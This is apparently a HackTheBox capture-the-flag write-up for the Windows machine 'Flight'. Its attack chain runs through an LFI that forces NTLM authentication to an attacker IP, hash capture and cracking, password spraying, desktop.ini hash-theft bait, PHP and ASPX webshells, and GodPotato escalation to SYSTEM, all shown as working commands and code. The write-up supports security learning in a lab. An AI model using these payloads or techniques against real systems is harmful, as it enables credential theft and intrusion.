HTB: Flight Writeup

Flight - HackTheBox Writeup

Machine Information

AttributeDetails
NameFlight
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Flight is a Windows Domain Controller (G0, domain flight.htb) that starts with a static Apache site and a second virtual host, school.flight.htb, hiding a Local File Inclusion bug behind its ?view= parameter. The LFI’s blacklist only blocks backslashes, so a forward-slash path bypasses it — and that same bypass lets an attacker point the include at a UNC path, forcing the box to authenticate outward and leak an NTLMv2 hash. Cracking that hash yields a service account password that turns out to be reused by a human operator, which is confirmed via SMB user enumeration and a password spray. From there, a writable share is used to bait a second NTLM hash out of a different user (again captured with a listener and cracked), and that user’s SMB write access to the web root gives code execution via a PHP webshell. A lateral hop with RunasCs reaches a user in the WebDevs group, whose write access to an internal-only IIS site (bound to localhost) allows dropping an ASPX webshell that executes as the IIS APPPOOL\DefaultAppPool virtual service account — an account that carries SeImpersonatePrivilege by default. Abusing that privilege with a “potato”-style exploit yields NT AUTHORITY\SYSTEM.

TL;DR: LFI (/ bypasses \ blacklist) → UNC path forces NTLM auth → crack svc_apache hash → password reuse spray finds s.moon → NTLM-theft file dropped on writable share captures c.bum hash → crack it → c.bum writes PHP webshell to web share → RCE as svc_apacheRunasCs to c.bum (WebDevs) → write ASPX shell to internal IIS dev site → exec as DefaultAppPool → GodPotato (SeImpersonate abuse) → SYSTEM.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- flight.htb

Results: Full-port scan confirms a Windows Domain Controller — hostname resolves to G0 in the flight.htb domain, with the standard AD service spread (DNS, Kerberos, LDAP, SMB) alongside Apache on port 80.

Terminal window
# resolve the base domain so Kerberos/SMB tooling and vhost routing work
echo "10.10.11.X flight.htb" | sudo tee -a /etc/hosts

Service Enumeration

The root site on port 80 is static. Virtual-host enumeration turns up a second site, school.flight.htb, which is added to /etc/hosts:

Terminal window
echo "10.10.11.X school.flight.htb" | sudo tee -a /etc/hosts

school.flight.htb has working navigation (Home, About Us, Blog) driven by index.php?view=<page>.html — a classic file-include pattern.

Vulnerability Assessment

  • LFI in index.php?view= — the parameter is fed straight into a file include. A naive blacklist blocks \ but not /.
  • Windows path-separator equivalence — Windows treats / and \ as interchangeable path separators, so C:/Windows/... reads identically to C:\Windows\..., defeating the backslash-only filter.
  • UNC-path LFI → forced authentication — because the underlying include() will happily fetch a \\host\share (or //host/share) resource, pointing it at an attacker-controlled SMB listener forces the machine to authenticate outbound as the web service account, leaking its NTLMv2 hash. This is the same class of bug tracked generally as PHP include()/file_get_contents() UNC-path SSRF-to-credential-leak on Windows.

Initial Foothold

Exploitation Path

1. Confirm the LFI filter bypass using a forward-slash path against a known Windows file:

http://school.flight.htb/index.php?view=C:/Windows/System32/drivers/etc/hosts

This returns the hosts file contents, proving the blacklist only strips \.

2. Weaponize the LFI as a forced-auth primitive. A listener is started to catch the inbound SMB authentication:

Terminal window
# capture NTLM auth from any host that tries to hit our fake share
responder -I tun0 -v

Then the LFI is pointed at an attacker-controlled UNC path:

http://school.flight.htb/index.php?view=//10.10.15.180/htb

The webserver process attempts to resolve the share, authenticating as itself in the process. Responder captures an NTLMv2 hash for svc_apache.

3. Crack the hash offline:

Terminal window
john svc_apache.hash --wordlist=/usr/share/wordlists/rockyou.txt
# result: svc_apache : S@Ss!K@*t13

4. Enumerate the domain’s user list with the newly obtained SMB creds:

Terminal window
impacket-lookupsid svc_apache:'S@Ss!K@*t13'@flight.htb

This returns the full set of domain usernames (service account creation is frequently done by a real operator, and operators reuse passwords — worth spraying).

5. Password spray the cracked password across the user list. The service-account password hits again on a real user:

s.moon : S@Ss!K@*t13 → WRITE access on the Shared share

6. Bait a second NTLM hash off the Shared share. Since multiple staff likely browse Shared, a file that forces Windows to reach out over SMB just by being listed in the folder (an NTLM-theft technique — e.g. a crafted desktop.ini pointing its icon resource at a UNC path) is dropped into the share while Responder is listening again:

Terminal window
responder -I tun0 -v
# desktop.ini (UNC icon reference) uploaded into \\flight.htb\Shared

Simply browsing that folder as another user triggers Windows Explorer to resolve the icon’s UNC path, leaking that user’s hash. This captures an NTLMv2 hash for c.bum.

7. Crack the second hash:

Terminal window
john c_bum.hash --wordlist=/usr/share/wordlists/rockyou.txt
# result: c.bum : Tikkycoll_431012284

8. Grab the user flag. c.bum has READ access on the Users share, exposing the desktop flag directly:

User Flag: <redacted>

9. Get code execution. c.bum also has WRITE access to the Web share — the live web root for flight.htb / school.flight.htb. A minimal PHP webshell is uploaded:

<?php
echo system($_GET['c']);
?>
Terminal window
curl 'http://flight.htb/shell.php?c=whoami'
# → flight\svc_apache

Command execution is now available as svc_apache.


Privilege Escalation

svc_apachec.bum (lateral, credential reuse)

The webshell runs as svc_apache, but the cracked c.bum credentials are more useful — c.bum belongs to a non-default WebDevs group. RunasCs is used to spawn a new process as c.bum from the existing svc_apache foothold:

RunasCs.exe c.bum Tikkycoll_431012284 -l 2 "<command-to-run-as-c.bum>"

-l 2 requests a network logon, which avoids the profile-loading issues of interactive logons for service-context callers.

c.bumIIS APPPOOL\DefaultAppPool (internal IIS pivot)

Enumeration as c.bum turns up C:\inetpub, indicating a second, IIS-hosted site alongside the Apache install, and a listener on 127.0.0.1:8000 — internal-only, not exposed externally. c.bum’s WebDevs membership grants write access to C:\inetpub\development, which maps to that internal site. An ASPX webshell is dropped there:

<%@Page Language="C#"%><%var p=new System.Diagnostics.Process{StartInfo=
{FileName=Request["c"],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%>
<%=p.StandardOutput.ReadToEnd()%>

Hitting http://127.0.0.1:8000/cmd.aspx?c=whoami (reachable only from on-box, so this requires a local pivot/tunnel from the c.bum foothold) triggers it, and the response resolves as:

IIS APPPOOL\DefaultAppPool

This is a Windows virtual account, not a real user — Microsoft documents that services running under virtual accounts authenticate to the network using the computer account’s identity (DOMAIN\COMPUTER$), and locally they run with SeImpersonatePrivilege enabled by default (standard for IIS application pool identities).

DefaultAppPoolNT AUTHORITY\SYSTEM (SeImpersonate abuse — GodPotato)

SeImpersonatePrivilege is the enabling condition for the entire “potato” exploit family: the technique coerces a SYSTEM-privileged component (historically via DCOM/OXID resolution, RPC, or similar local COM/NTLM tricks depending on the potato variant) into authenticating to a listener the attacker controls, captures that SYSTEM token, and — because the calling process holds SeImpersonatePrivilege — impersonates it to spawn a new process as NT AUTHORITY\SYSTEM.

GodPotato was used here rather than the older Rotten/Juicy Potato lineage (which rely on OXID-resolver behavior patched out of modern Windows) or the write-up’s own Rubeus/tgtdeleg/DCSync route — GodPotato’s RPC-based coercion still works on current, patched Windows builds and needs no extra AD abuse (no ticket wrangling, no DCSync) to land straight on SYSTEM:

GodPotato.exe -cmd "<command-to-run-as-system>"
Root Flag: <redacted>

Attack Chain Summary

LFI (?view=) on school.flight.htb
→ backslash-blacklist bypass (Windows accepts '/')
→ UNC-path include forces outbound SMB auth
→ Responder captures svc_apache NTLMv2 hash → cracked (S@Ss!K@*t13)
→ impacket-lookupsid enumerates domain users
→ password-reuse spray → s.moon:S@Ss!K@*t13 (WRITE on \Shared)
→ NTLM-theft file (desktop.ini) dropped on \Shared → Responder
→ c.bum NTLMv2 hash captured → cracked (Tikkycoll_431012284)
→ c.bum READ on \Users → user.txt
→ c.bum WRITE on \Web → PHP webshell → RCE as svc_apache
→ RunasCs → shell as c.bum (WebDevs group)
→ write cmd.aspx to C:\inetpub\development (internal IIS, 127.0.0.1:8000)
→ exec as IIS APPPOOL\DefaultAppPool (SeImpersonatePrivilege)
→ GodPotato → NT AUTHORITY\SYSTEM
→ root.txt

Tools Used

ToolPurpose
nmapFull port scan, service/version identification
Apache/PHP LFI (?view=)Local file read + UNC-path forced authentication
ResponderCapture NTLMv2 hashes from forced SMB auth
johnOffline cracking of captured NTLMv2 hashes
impacket-lookupsidDomain user enumeration via SMB/RPC
Password spray (reused svc_apache password)Discover s.moon credential reuse
NTLM-theft file (desktop.ini UNC-icon)Bait a second NTLMv2 hash off a shared folder
PHP webshellRCE as svc_apache via writable web share
RunasCsLateral movement to c.bum using recovered creds
ASPX webshell (cmd.aspx)RCE on internal-only IIS site as DefaultAppPool
GodPotatoSeImpersonatePrivilege abuse → SYSTEM

Key Learnings

Techniques Practiced

  • LFI filter bypass via Windows path-separator equivalence (/ vs \)
  • Forcing NTLM authentication through a file-include primitive (UNC path)
  • Offline NTLMv2 hash cracking
  • Domain user enumeration + password-reuse spraying
  • NTLM hash theft via share-dropped trigger files
  • Webshell RCE through writable web content shares
  • Lateral movement with RunasCs
  • Discovering and pivoting to internal-only (localhost-bound) web services
  • Abusing SeImpersonatePrivilege on a Windows virtual service account via a potato exploit

Lessons Learned

  1. A blacklist filter that only strips \ is trivially defeated on Windows, since / is a fully valid path separator to the OS.
  2. Any LFI/file-include bug on Windows should always be tested against a UNC path — it turns a “read-only” bug into a credential-leaking forced-authentication primitive.
  3. Service accounts are often provisioned by a real human operator who reuses their own password — always enumerate the full user list and spray recovered credentials.
  4. Writable “scratch” shares (like Shared) are a reliable vector for NTLM theft: any file type Windows Explorer auto-resolves a UNC reference for (icons, shortcuts, etc.) is a hash-capture opportunity.
  5. Virtual/service accounts like IIS APPPOOL\* are not full local accounts, but they typically carry SeImpersonatePrivilege by default, making the “potato” family of exploits an almost-guaranteed path to SYSTEM once you land in that context.
  6. Internal-only bound services (127.0.0.1:8000) are still real attack surface once you have any code execution on the box — they just need a pivot (SOCKS tunnel, or writing directly to the internal site’s document root from an on-box account) rather than external access.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References